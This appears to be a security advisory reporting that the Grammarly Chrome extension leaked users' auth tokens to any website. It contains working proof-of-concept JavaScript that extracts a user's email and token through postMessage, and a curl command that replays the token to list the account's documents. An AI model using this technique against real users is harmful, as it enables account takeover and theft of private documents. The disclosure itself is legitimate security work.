Grammarly: auth tokens are accessible to all websites




The Grammarly chrome extension (approx ~20M users) exposes it's auth tokens to all websites, therefore any Grammarly: auth tokens are accessible to all websites




The Grammarly chrome extension (approx ~20M users) exposes it's auth tokens to all websites, therefore any website can login to <a href="http://grammarly.com" title="" class="" rel="nofollow">grammarly.com</a> as you and access all your documents, history, logs, and all other data. I'm calling this a high severity bug, because it seems like a pretty severe violation of user expectations.

Users self-evidently would not expect that visiting a website gives it permission to access documents or data they've typed into other websites.

Reproduce:

Here is how to repro, on any website (e.g. <a href="http://example.com" title="" class="" rel="nofollow">example.com</a>) type this in the console to get a grammarly auth token (obviously a website could do this with <script> without any user interaction):

> document.body.contentEditable=true // Trigger grammarly
> document.querySelector("[data-action=editor]").click() // Click the editor button
> document.querySelector("iframe.gr_-ifr").contentWindow.addEventListener("message", function (a) { console.log(a.data.user.email, a.data.user.grauth); }) // log auth token and email
> window.postMessage({grammarly: 1, action: "user" }, "*") // Request user data

It should print something like this:

<a href="mailto:testaccount.zzxxyyaa@gmail.com" title="" class="" rel="nofollow">testaccount.zzxxyyaa@gmail.com</a> AABEnOZHVclnIAvUTKa4yc1waRRf59-hY3dVDT0gvrDfcJDAFt3Nlq84LpWFpzH1tkxzqs

That grauth token matches the grauth cookie used on <a href="http://grammarly.com" title="" class="" rel="nofollow">grammarly.com</a>, and I verified that is enough to login to a <a href="http://grammarly.com" title="" class="" rel="nofollow">grammarly.com</a> account. Therefore any website can access all your docs.

To prove grauth is enough to compromise a grammarly account, you can get a list of all uploaded documents like this:

$ curl --cookie "grauth=AABEnOZHVclnIAvUTKa4yc1waRRf59-hY3dVDT0gvrDfcJDAFt3Nlq84LpWFpzH1tkxzqs;" -A Mozilla -si '<a href="https://dox.grammarly.com/documents?search=&limit=100&firstCall=false" title="" class="" rel="nofollow">https://dox.grammarly.com/documents?search=&limit=100&firstCall=false</a>'
HTTP/2 200
date: Fri, 02 Feb 2018 20:42:51 GMT
content-type: application/json;charset=utf-8
content-length: 438
server: nginx-clojure/0.4.5
x-xss-protection: 1; mode=block
x-frame-options: DENY
x-request-id: 1-5a74cd4b-1d54e8fe06dc94f47361216e
x-content-type-options: nosniff
content-security-policy: default-src 'none'
strict-transport-security: max-age=31536000
vary: Accept-Encoding, User-Agent

[{"id":260704145,"user_id":704607600,"title":"Demo document","size":3301,"first_content":"Remember when you were a careless eight year old kid riding a bike with your friends,racing each other around the neighborhood? Remember that feeling of absolute freedom as you felt the wind in your hair and the smile it put on your face? I never thought ","errors":41,"created_at":"2018-02-02T19:20:37.693","updated_at":"2018-02-02T19:21:04.268"}]


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: taviso